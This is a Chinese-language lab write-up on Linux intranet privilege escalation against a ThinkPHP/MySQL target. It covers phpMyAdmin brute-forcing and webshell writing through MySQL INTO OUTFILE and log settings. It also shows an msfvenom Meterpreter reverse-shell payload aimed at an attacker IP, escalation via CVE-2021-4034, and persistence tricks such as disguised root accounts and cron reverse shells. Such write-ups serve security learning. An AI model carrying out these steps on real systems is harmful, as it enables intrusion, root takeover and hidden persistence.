0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

初涉內網提權方面詳解

馬哥Linux運維 ? 來源:馬哥Linux運維 ? 2023-05-22 09:56 ? 次閱讀

口水話

前段時間打了兩個靶場 由于內網接觸的不多 這里在結束之后惡補了一下相關方面的知識,對于初涉內網的小白來說,可以作為一個較好的參考。由于本文主要介紹提權方面,所以代碼審計部分就略過,希望大家看了會有所收獲

靶場環(huán)境

搭建用的系統:ubuntu 16.04    內核4.15.0
web環(huán)境   php+mysql+thinkphp

流程

首先開啟靶場 在攻擊機正常訪問靶場地址

這里提一下  因為一般這種老版本的thinkphp都是二開的  所以那些Nday很少能夠成功復現
而且這就是一個html靜態(tài)頁面  所以看完后面的小伙伴不要奇怪為什么不對thinkphp做Nday測試
但是這里有彩蛋

2cac91da-f814-11ed-90ce-dac502259ad0.png

webshell上傳過程

先來一波信息收集

實際情況肯定是要對該站點的子域名 cms 其他ip等等做收集
由于這里是靶場操作  這里就簡單進行一個目錄掃描

2cfdb0e2-f814-11ed-90ce-dac502259ad0.png

通過目錄掃描可以得出  存在phpmyadmin管理界面的登錄界面  這種后臺嘛  直接bp爆破

BP爆破后臺登錄口令

沒啥說的啦  開BP代理直接跑

2d1a4b1c-f814-11ed-90ce-dac502259ad0.png

成功進入phpmyadmin管理頁面 

ps:這里提一下 當成功進入管理頁面 需要去做什么呢?

查看secure_file_priv是否為NULL 或者為指定路徑
(當為NULL的時候 說明沒有讀寫的權限 也就是你可能沒法通過into outfile的方式來寫入webshell文件 )
查看mysql的版本  路徑等

查看mysql的相關信息

2d515012-f814-11ed-90ce-dac502259ad0.png

secure_file_priv信息

2d715ce0-f814-11ed-90ce-dac502259ad0.png

之前提到的  當secure_file_priv為NULL或者指定路徑是 是對其他目錄沒有讀寫權限的 
那么這里為空  也就是說 可以對任意目錄寫入文件(前提是這個目錄的所用者對其他目錄有讀寫權限)

mysql寫webshell拓展

幾個必要的前提條件
1.secure_file_priv不為NULL或者指定路徑
2.phpmyadmin所在目錄的擁有者對其他目錄有讀寫權限
3.全局gpc關閉  (mysql-5.3.29以上默認關閉)
4.root權限(這里指的是登錄數據庫的用戶)
5.知道具體路徑(通過信息收集獲取,上文有提到靜態(tài)頁面存在菜單 這里可以回去看看)

into outfile()方式:
查詢執(zhí)行語句SELECT '' into OUTFILE '/home/wwwroot/default/ruchong.php' 
該語句的作用就是寫入一句話到網站根目錄下  詳情自己百度


日志方式
日志方式的寫入有兩種  全局日志以及慢日志 不過具體用法差不多
實現的原理是 當你開啟日志記錄是 你所查詢的語句都會全部被記錄在指定的一個文件中
那假如你指定的是一個php文件并且你查詢的語句為一句話木馬呢?

全局日志:
首先查詢是否開啟了全局日志記錄
show variables like '%general%';   查看是否開啟

set global general_log = on;     #未開啟就手動開啟general log 模式

set global general_log_file = 'web可訪問目錄' #設置日志目錄為shell地址

SELECT ''   #執(zhí)行查詢 即寫入到日志文件 

慢日志:
#查詢慢日志狀態(tài)
show variables like '%slow_query_log%'; 

#查詢mysql系統時間 
show global variables like '%long_query_time%';

#根據時間  設置超時

select '' or sleep(11);   設置查詢時間為11s

mysql寫入webshell

這里通過into outfile的方式寫入  日志記錄也可以

2d8b9178-f814-11ed-90ce-dac502259ad0.png

切換到靶機查看是否生成了該文件

2daa2642-f814-11ed-90ce-dac502259ad0.png

小技巧ps:
最好是先生成一個php探針頁面 為什么呢?
因為探針頁面可以詳細的看到當前的web環(huán)境的一些相關配置
(禁用函數情況、是否開啟php日志、session和php日志目錄等等)

2dcdeaf0-f814-11ed-90ce-dac502259ad0.png

連接webshell

這里先進行一些相關的拓展

在不存在函數禁用的情況下:一般使用菜刀等就可以了 后續(xù)上傳大馬等等
存在函數禁用的情況:優(yōu)先考慮使用蟻劍 (可以使用disable_function繞過腳本)

2e1b2a4a-f814-11ed-90ce-dac502259ad0.png

打開虛擬終端  測試命令

2e456f30-f814-11ed-90ce-dac502259ad0.png

這里為什么會無法查詢呢?

因為這是一個虛擬終端  本質是通過命令執(zhí)行來調用主機的終端來執(zhí)行命令 從而回顯數據
但是由于相關函數被禁用 所以很多命令都無法執(zhí)行 也就是說 這個虛擬終端等于廢掉
那么 這個時候蟻劍的插件就派上用場了  可以通過繞過來執(zhí)行少數的一些命令 從而給我們提供更多的操作空間
擴大我們的攻擊范圍  ps:蟻劍的插件需要掛ti子來下載 有興趣的自己百度

2e6c75d0-f814-11ed-90ce-dac502259ad0.png

連接webshell后需要做什么

那肯定是上傳webshell 通過反彈來拓展攻擊面呀??!
但是前面提到了 插件繞過也只是能夠使用少數命令 本質還是虛擬終端 所以很多都無法調用 
這個時候 就需要反彈一個shell來進行更多的操作 所以 懂得都懂叭

提權過程

內核提權

msfconsole登場

說到反彈shell 那肯定是msf啦  可以聯動cs/bp等 

ps:這里是同一網段的靶場環(huán)境 所以不需要vps來做中轉(真實環(huán)境是需要用到vps的  后面有空了再寫橫向穿越,端口轉發(fā)以及隧道等內容)

生成牧馬(保命)

由于是linux系統 這里就生成相應的牧馬啦
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=6666 to  -f elf > ruchong.elf

方便理解我這里直接寫了接收反彈的ip以及端口

2e900112-f814-11ed-90ce-dac502259ad0.png

小技巧
不同虛擬機傳文件需要從當前虛擬機復制到物理機再復制到執(zhí)行虛擬機
是不是很麻煩?
使用python開啟一個臨時共享當前目錄 就可以直接下載啦
命令:python3 -m http.server

2f21423a-f814-11ed-90ce-dac502259ad0.png

2f3c767c-f814-11ed-90ce-dac502259ad0.png

執(zhí)行牧馬反彈shell啦

運行之前 msf開啟對應payload  ip以及端口的監(jiān)聽
payload  ip  端口  都要與生成的木馬使用的一致
最后的命令run或者exploit開啟監(jiān)聽啦

2f728a64-f814-11ed-90ce-dac502259ad0.png

蟻劍上傳該牧馬
chmod +777 牧馬     #給權限運行啦
./牧馬          #運行牧馬

2fa923c6-f814-11ed-90ce-dac502259ad0.png

msf成功收到反彈

2fcdd798-f814-11ed-90ce-dac502259ad0.png

內核提權準備工作

既然是內核提權  當然要知道內核信息啦
使用命令uname -a查看當前的系統版本以及內核信息

2fe88674-f814-11ed-90ce-dac502259ad0.png

內核腳本的選擇

知道了內核版本后  有多種選擇內核的方式  這里簡單的列舉幾個

利用某網站來收集可使用的內核提權腳本

https://www.exploit-db.com/

3004c0c8-f814-11ed-90ce-dac502259ad0.png

利用kali自帶搜索相應內核提權腳本

搜索命令   searchsploit  版本號/內核號
下載腳本   searchsploit -m  fath

306af4f6-f814-11ed-90ce-dac502259ad0.png

利用相關插件收集提權腳本

該腳本自行上github搜索

./linux-exploit-suggester.sh -k 4.15.0 
執(zhí)行腳本   -k 指定的內核版本

30f4d748-f814-11ed-90ce-dac502259ad0.png

msf本地提權

run post/multi/recon/local_exploit_suggester

這個是自動檢測可能成功的內核提權腳本并且逐個嘗試
由于需要大概半個小時 所以就沒有操作  有興趣的可以自行嘗試

內核提權?。?!

前面說了那么多  終于到關鍵的一步了

先說說為什么提權要提權:
1.某些命令需要高權限用戶才可執(zhí)行
2.低權限用戶對于大多數敏感目錄沒有讀取權限
3.無法dump密碼  不存在密碼噴灑

這里利用cve-2021-4034來進行提權 github可以搜索下載
使用蟻劍上傳  下面po一下改提權腳本 如何使用

314ee27e-f814-11ed-90ce-dac502259ad0.png

在msf執(zhí)行紅框命令

317430c4-f814-11ed-90ce-dac502259ad0.png

可以看到 成功提權到root權限 
root權限能干嘛 不用多說了吧
下面簡單說一下權限維持的幾個方式

權限維持

1.創(chuàng)建一個用戶 并且權限為root  用戶名可以偽造成系統用戶名 比如說mysqld等等
2.開啟ssh登錄 并且生成root的ssh認證密鑰對  將其保存本地 后滲透直接使用ssh登錄
3.添加計劃任務  即周期性的使用root身份反彈shell
4.使用不死馬或者內存馬
5.設置啟動項

其他提權方式

后面有時間我會單獨寫提權方式、不同平臺提權、內網橫向移動所使用的端口轉發(fā)、sock隧道建立的文章
這里大概提一下linux系統提權的其他方式

1.suid提權    #使用find查找root用戶的suid文件  通過運行該類文件獲取root權限
2.sudo提權    #個人覺得有點雞肋 畢竟一般來說 webshell登錄的用戶權限是無法操作sudoers文件
3.計劃任務提權  #查看計劃任務中有root權限的腳本  通過運行該腳本獲取root權限
4.mysql提權   #本次靶場是可以使用mysql提權的  百度cve-2016-6663了解

總結

對于內核提權就寫到這啦  整體看下來應該都會有一個比較清楚的認知吧 不懂的話多看幾遍 相對來說是寫的比較詳細的了。

關于內網還有很多需要學習的知識 像提權后的權限維持、橫向移動、后滲透、痕跡清理、不同平臺的不同方式提權、以及進階的域滲透。后期有空了會更新有關內容的文章。學海無涯,希望大家每天都能學到新知識提升自己,學到的東西可不要做非法的事哈?。。。?
審核編輯:彭靜
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規(guī)問題,請聯系本站處理。 舉報投訴
  • 代碼
    +關注

    關注

    30

    文章

    4790

    瀏覽量

    68654
  • 內網
    +關注

    關注

    0

    文章

    37

    瀏覽量

    8992
  • phpMyAdmin
    +關注

    關注

    0

    文章

    5

    瀏覽量

    5894

原文標題:初涉內網,提權那些事(小白適用)

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    如何使用環(huán)境變量進行Linux的方法詳細資料概述

    在這篇文章中,我將會為大家介紹一些使用環(huán)境變量進行Linux的方法,包括在CTF challenges中使用到一些的技術。話不多說,讓我們進入正題!
    的頭像 發(fā)表于 07-05 09:50 ?5285次閱讀
    如何使用環(huán)境變量進行Linux<b class='flag-5'>提</b><b class='flag-5'>權</b>的方法詳細資料概述

    UCOS詳解

    UCOS詳解!對者來說還是不錯的!
    發(fā)表于 08-24 16:27

    altium designer遇到了一個麻煩,大神幫幫忙啊,先謝過!

    如題,小弟EDA工具,這是我畫的第二塊板子,所以經驗不足。問題是這樣的,這個IC4558的原理圖和封裝都是我自己做的,原理圖在沒問題,編譯的時候也沒有什么錯誤,但是生成PCB封裝他的八個引腳都沒有連線??!我糾結一整天都沒找出原因,進度也就停在這了。。。大神幫幫忙?。?!
    發(fā)表于 01-18 00:28

    內網穿透詳解-基于NATAPP&NatAssist測試

    本帖最后由 1406093611 于 2019-11-13 22:41 編輯 內網穿透詳解-基于NATAPP&NatAssist TCP測試【前言】最近做一個4G模塊
    發(fā)表于 09-13 12:14

    香港云服務器寶塔windows面板獲取系統管理員權限

    用往下看了,下面來說說寶塔windows面板過程。測試系統:windows 2008寶塔windows面板版本:3.1方式:啟動項如果有了解過滲透
    發(fā)表于 04-25 01:59

    搭建自己的IOT平臺---內網穿透

    相信大部分小伙伴在搭建環(huán)境的時候都是用虛擬機來搭建的,如果想實現外網訪問內網的話,還是比較麻煩的。在這里我就針對這個問題,寫一篇教程,教大家用最簡單的方式實現內網穿透,能做到外網訪問內網,實現可視化
    發(fā)表于 12-09 23:14

    權限提升之Mysql

    權限提升之Mysql
    發(fā)表于 09-07 10:50 ?4次下載
    權限提升之Mysql<b class='flag-5'>提</b><b class='flag-5'>權</b>

    常見的方法與運維建議

    常見的方法與運維建議
    發(fā)表于 09-07 11:23 ?4次下載
    常見的<b class='flag-5'>提</b><b class='flag-5'>權</b>方法與運維建議

    Webshell登陸服務器

    Webshell登陸服務器
    發(fā)表于 09-07 14:04 ?4次下載
    Webshell<b class='flag-5'>提</b><b class='flag-5'>權</b>登陸服務器

    Linux內核攻擊研究

    攻擊是針對Linux系統的一種重要攻擊手段。根據攻擊所利用的漏洞類型,一般可將其分為應用層
    發(fā)表于 11-24 11:46 ?0次下載
    Linux內核<b class='flag-5'>提</b><b class='flag-5'>權</b>攻擊研究

    內網滲透:獲取Windows內Hash密碼的方法

    內網滲透中,當攻擊者獲取到內網某臺機器的控制后,會議被攻陷的主機為跳板,通過收集域內憑證等各種方法,訪問域內其他機器,進一步擴大資產范圍。
    的頭像 發(fā)表于 12-24 16:01 ?928次閱讀

    OLED面板企業(yè)維信諾控制或易主

    OLED顯示大廠維信諾今日宣布公司股票停牌,事公司控制或將易主。
    的頭像 發(fā)表于 03-02 14:13 ?2148次閱讀

    多種繞過WAF方式獲取穩(wěn)定shell、內部信息收集和

    本項目中包含信息收集、信息收集、識別WAF、多種繞過WAF方式、獲取穩(wěn)定shell、內部信息收集和,最終拿到flag.txt。其中包含一些小技巧以及知識,都會在文章中展現出來。
    的頭像 發(fā)表于 07-07 10:58 ?3404次閱讀

    一款數據庫自動化工具

    一款用Go語言編寫的數據庫自動化工具,支持Mysql、MSSQL、Postgresql、Oracle、Redis數據庫、命令執(zhí)行、爆破以及ssh連接等等功能。
    的頭像 發(fā)表于 07-19 14:57 ?709次閱讀
    一款數據庫自動化<b class='flag-5'>提</b><b class='flag-5'>權</b>工具

    內網穿透frp原理簡述

    FRP的優(yōu)點: 它可以隱藏內網中的服務器, 避免因直接暴露內網服務器導致的安全問題。此外, FRP還支持動態(tài)端口映射, 可以方便地實現內網的服務器負載均衡
    的頭像 發(fā)表于 11-13 14:38 ?5303次閱讀
    <b class='flag-5'>內網</b>穿透frp原理簡述